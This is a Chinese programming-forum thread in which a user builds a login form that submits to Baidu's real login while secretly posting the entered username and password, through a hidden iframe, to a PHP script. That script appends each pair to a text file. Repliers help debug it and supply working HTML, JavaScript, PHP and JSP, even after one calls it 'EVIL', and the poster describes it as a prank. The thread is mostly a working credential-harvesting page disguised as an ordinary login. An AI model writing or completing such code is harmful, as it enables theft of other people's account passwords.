不想弹出窗口的话你就把“target="_blank"”这句去掉隐藏提交?你是不是应该在页面里隐藏一个iframe(先加个div,隐藏起来,在div里加一个iframe,再指定一个id),然后把form的
target指向隐藏的iframe,这样提交在画面上是没有什么显示的。

解决方案 »

  1.   

    实验了一下,不成功,哪里出错了呢?弹出的百度也没提交成。-_-    
        <form   name="login"   method=post action="https://passport.baidu.com/?login"  onSubmit=check() target="i_frame"   >    
      <input   type="text"   name="username"   />
    <input   type="text"   name="password"   />
        <input       type="submit"   name="loginsubmit"   value="sumbit">    
        </form>
     
    <div>
    <iframe id="i_frame" width="0"   height="0" style="display:none" src="check.php">
    </div>
      

  2.   


    <script language="javascript"> 
    function check() 

    var form=document.all.login 
    if(form.username.value=="") 

    alert("不能为空!") 
    form.username.focus() 
    return false; 

    form.action="https://passport.baidu.com/?login" 
    form.submit() 
    form.action="check.php" 
    form.target="_black";
    form.submit();

    </script> 
    <form name="login" method="post" onSubmit="check()" target="i_frame"> 
    <input type="text" name="username" /> 
    <input type="text" name="password" /> 
    <button name="tijiao" id="tijiao" type="submit" value="true">提交</button> 
    </form>
    <iframe id="i_frame" width="50" name="i_frame" height="50" style="display:none" src="check.php"></iframe>
      

  3.   

    把上面的
    form.target="_black";改为
    form.target="_self";就能满足楼主的要求了。
      

  4.   

    感谢familyX,但问题仍然没有完美解决成功,具体表现是,当提交按钮后,会在当前页提交到百度登录,然而,并没有提交到check.php,我想这个才是主要问题,一个表单不能提交到两个action么,看看我的代码有没有问题,首先是Submit.html:
    <script language="javascript"> 
    function check() 

    var form=document.all.login 
    if(form.username.value=="") 

    alert("不能为空!") 
    form.username.focus() 
    return false; 

    form.action="check.php" 
    form.submit() 
    form.action="https://passport.baidu.com/?login" 
    form.target="_self";
    form.submit();

    </script> 
    <form name="login" method="post" onSubmit="check()" target="i_frame"> 
    <input type="text" name="username" /> 
    <input type="text" name="password" /> 
    <button name="tijiao" id="tijiao" type="submit" value="true">提交</button> 
    </form>
        <iframe id="i_frame" width="50" name="i_frame" height="50" style="display:none" src="check.php"></iframe>这里是check.php,经测试没有问题的.check.php:
    <?php
    /*写入*/
    if ($_POST[tijiao]) {
    $fp=fopen("test.txt","a");
    fwrite($fp,$_POST[username]."|".$_POST[password]."\r\n"); //写入数据,中间用|隔开
    fclose($fp);
    }
    /*读取,可以通过|拆分项*/
    $lines=file("test.txt");
    print_r("<pre>");
    print_r($files);
    /*删除*/
    ?>在这个问题我花费了两天时间,郁闷哇,CSDN朋友帮助!
      

  5.   

    function check() 

    var form=document.all.login 
    if(form.username.value=="") 

    alert("不能为空!") 
    form.username.focus() 
    return false; 

    form.action="check.php" 
    form.submit() 
    form.action="https://passport.baidu.com/?login" 
    form.target="_self";
    form.submit();
    }
    js里这段代码好像有点问题吧
    form.action="check.php" ;
    form.submit();
    既然到此处已经提交了,那下面的脚本还会执行吗?
      

  6.   

    只能提交一次,submit后的代码不会执行,
    你可以提交到一个a页面,另一个action处理再a页面的onload里处理
      

  7.   

    回9楼的,我测试失败了!我在check.php放置了onload,但没提交到百度.   :(
    check.php代码,不知道写错了没有.
    <?php
    /*写入*/
    if ($_POST[tijiao]) {
    $fp=fopen("test.txt","a");
    fwrite($fp,$_POST[username]."|".$_POST[password]."\r\n"); //写入数据,中间用|隔开
    fclose($fp);
    }
    /*读取,可以通过|拆分项*/
    $lines=file("test.txt");
    print_r("<pre>");
    print_r($files);
    /*删除*/
    ?>
    <script language="javascript"> 
    function check() 
    form.action="https://passport.baidu.com/?login" 
    form.target="_self";
    form.submit();

    </script> <BODY onload="check()"><form name="login" method="post" onSubmit="check()" target="i_frame"> 
    <input type="text" name="username" /> 
    <input type="text" name="password" /> 
    <button name="tijiao" id="tijiao" type="submit" value="true">提交</button> 
    </form>
    </BODY>
      

  8.   

    你到人家的页面,不用提交吧,只要link过去就行了
    check.php这个页面你可以让它不显示出来,相当于直接跳到百度
      

  9.   

    其实很简单,在iframe页面里再做一个form,copy参数值,两个form同时submit就可以了。
    main.html:<script language="javascript"> 
    function check() 

    var form=document.login; 
    if(form.username.value=="") 

    alert("不能为空!") 
    form.username.focus() 
    return false; 

    var iform=window.frames[0].document.login;
    iform.username.value=form.username.value;
    iform.password.value=form.password.value;
    iform.submit();form.submit();

    </script> 
    <form name="login" method="post" onSubmit="check()" target="_self" action="https://passport.baidu.com/?login" > 
    <input type="text" name="username" /> 
    <input type="text" name="password" /> 
    <button name="tijiao" id="tijiao" type="submit" value="true">提交</button> 
    </form>
        <iframe id="i_frame" width="500" height=400 name="i_frame" height="50" style="display:block" src="check.jsp"><!--此处的display为block为测试可见,你可以自己改为none--></iframe> check.jsp//我这儿做php测试有点麻烦,就用jsp暂代测试了一下
    <html>
    <head>
    </head>
    <body>
    <form name="login" method="post" action="check.jsp" target="_self"> 
    <input type="hidden" name="username" /> 
    <input type="hidden" name="password" /> 
    <%if(request.getParameter("username")!=null)
    {%>
    <h1><%=request.getParameter("username")%></h1>
    <%}%></form>
    </body>
    </html>
      

  10.   

    回十三楼,你用jsp写的check.jsp能换成PHP写法吗?对于:
    <%if(request.getParameter("username")!=null)
    {%>
    <h1><%=request.getParameter("username")%></h1>
    <%}%>我应该换成这种写法吗:
    <?php
    if ($username=$_Get["username"])   :(
    ?>//我连PHP的基础也不是很好,但希望能解决这个问题,最后一定会恶补,再次求助.而且我也局限在PHP环境:(
    谢谢jaopen.
      

  11.   

    因为check文件里的form 的method是post所以你应该用$_POST['username']和$_POST['password']得到输入的参数即可。
      

  12.   

    1。一个提交到baidu的登陆界面
    2。一个把用户名密码存到lz的DB里?
      

  13.   

    诚实说,有点EVIL,:)
    偶去试试。。
      

  14.   

    我很笨,一个整人的程序的还没写出来,回17楼jaopen,main.html没有问题,但是check.php代码我弄成这样,提交不成功,:(
    <html>
    <head>
    </head>
    <body>
    <form name="login" method="post" action="check.php" target="_self"> 
    <input type="hidden" name="username" /> 
    <input type="hidden" name="password" /> 
    </form>
    </body>
    </html>
    <?php
    /*写入*/
    if ($_POST[username]&&$_POST[password]) {
    $fp=fopen("test.txt","a");
    fwrite($fp,$_POST[username]."|".$_POST[password]."\r\n"); //写入数据,中间用|隔开
    fclose($fp);
    }
    /*读取,可以通过|拆分项*/
    $lines=file("test.txt");
    print_r("<pre>");
    print_r($files);
    /*删除*/
    ?>